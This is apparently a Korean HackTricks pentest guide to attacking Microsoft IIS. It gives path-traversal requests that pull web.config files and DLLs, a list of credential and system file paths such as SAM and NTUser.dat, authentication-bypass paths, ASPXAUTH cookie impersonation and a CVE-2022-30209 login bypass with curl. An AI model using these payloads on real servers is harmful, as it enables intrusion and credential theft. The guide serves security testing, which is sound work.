# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
테스트 실행 파일 확장자:
- asp
- aspx
- config
- php
## 내부 IP 주소 노출
302 응답을 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해 볼 수 있으며, 응답 내의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
내부 IP를 공개하는 응답:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## .config 파일 실행
.config 파일을 업로드하고 이를 사용하여 코드를 실행할 수 있습니다. 이를 수행하는 한 가지 방법은 HTML 주석 안에 파일 끝에 코드를 추가하는 것입니다: [여기에서 예제 다운로드](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
이 취약점을 악용하는 방법과 기술에 대한 더 많은 정보는 [여기](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)에서 확인할 수 있습니다.
## IIS 발견 브루트포스
제가 만든 목록을 다운로드하세요:
{{#file}}
iisfinal.txt
{{#endfile}}
다음 목록의 내용을 병합하여 생성되었습니다:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
확장자를 추가하지 않고 사용하세요. 필요한 파일은 이미 확장자가 있습니다.
## 경로 탐색
### 소스 코드 유출
전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\
> **다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\
> 또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.
**.Net MVC 애플리케이션**에서 **web.config** 파일은 **"assemblyIdentity"** XML 태그를 통해 애플리케이션이 의존하는 각 이진 파일을 지정하는 중요한 역할을 합니다.
### **이진 파일 탐색**
**web.config** 파일에 접근하는 예시는 아래와 같습니다:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
이 요청은 다음과 같은 다양한 설정 및 종속성을 드러냅니다:
- **EntityFramework** 버전
- 웹페이지, 클라이언트 검증 및 JavaScript에 대한 **AppSettings**
- 인증 및 런타임을 위한 **System.web** 구성
- **System.webServer** 모듈 설정
- **Microsoft.Owin**, **Newtonsoft.Json**, 및 **System.Web.Mvc**와 같은 여러 라이브러리에 대한 **Runtime** 어셈블리 바인딩
이 설정은 **/bin/WebGrease.dll**과 같은 특정 파일이 애플리케이션의 /bin 폴더 내에 위치하고 있음을 나타냅니다.
### **루트 디렉토리 파일**
루트 디렉토리에서 발견된 파일, 예를 들어 **/global.asax** 및 민감한 비밀번호가 포함된 **/connectionstrings.config**는 애플리케이션의 구성 및 운영에 필수적입니다.
### **네임스페이스 및 Web.Config**
MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 **web.config 파일**도 정의합니다. 이는 다른 **web.config**를 다운로드 요청하는 예로 보여집니다:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLL 다운로드**
사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하라는 요청이 표시됩니다:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
이것은 /bin 디렉토리에 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll**과 같은 다른 필수 DLL의 존재를 시사합니다.
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL인 **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.
### 일반 파일
[여기](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)에서
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 오류
다음과 같은 오류가 발생하면:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 그 안에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다.
## 확인할 가치가 있는 오래된 IIS 취약점
### Microsoft IIS 물결 문자 “\~” 취약점/기능 – 짧은 파일/폴더 이름 노출
이 **기법**을 사용하여 발견된 모든 폴더 내에서 **폴더와 파일을 나열**해 볼 수 있습니다(기본 인증이 필요하더라도).\
이 기법의 주요 제한 사항은 서버가 취약할 경우 **각 파일/폴더 이름의 첫 6글자와 파일 확장자의 첫 3글자만 찾을 수 있다는 것입니다.**
이 취약점을 테스트하기 위해 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)를 사용할 수 있습니다:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
.png>)
원본 연구: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
**metasploit**를 사용할 수도 있습니다: `use scanner/http/iis_shortname_scanner`
발견된 파일의 **최종 이름을 찾는** 좋은 방법은 **LLM에게** 옵션을 요청하는 것입니다. 이는 스크립트 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)에서 수행됩니다.
### 기본 인증 우회
**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보세요: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 인증을 **우회**할 수 있습니다.
## ASP.NET Trace.AXD 활성화된 디버깅
ASP.NET은 디버깅 모드를 포함하며, 그 파일은 `trace.axd`라고 불립니다.
이 파일은 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다.
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로 사용자 이름과 비밀번호가 포함됩니다.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)

## ASPXAUTH 쿠키
ASPXAUTH는 다음 정보를 사용합니다:
- **`validationKey`** (문자열): 서명 검증에 사용할 헥스 인코딩된 키.
- **`decryptionMethod`** (문자열): (기본값 “AES”).
- **`decryptionIV`** (문자열): 헥스 인코딩된 초기화 벡터(기본값은 제로 벡터).
- **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키.
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **가짜 사용자로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있습니다.**\
이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공적으로 수행되었습니다.
## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209)
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 **캐시**에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}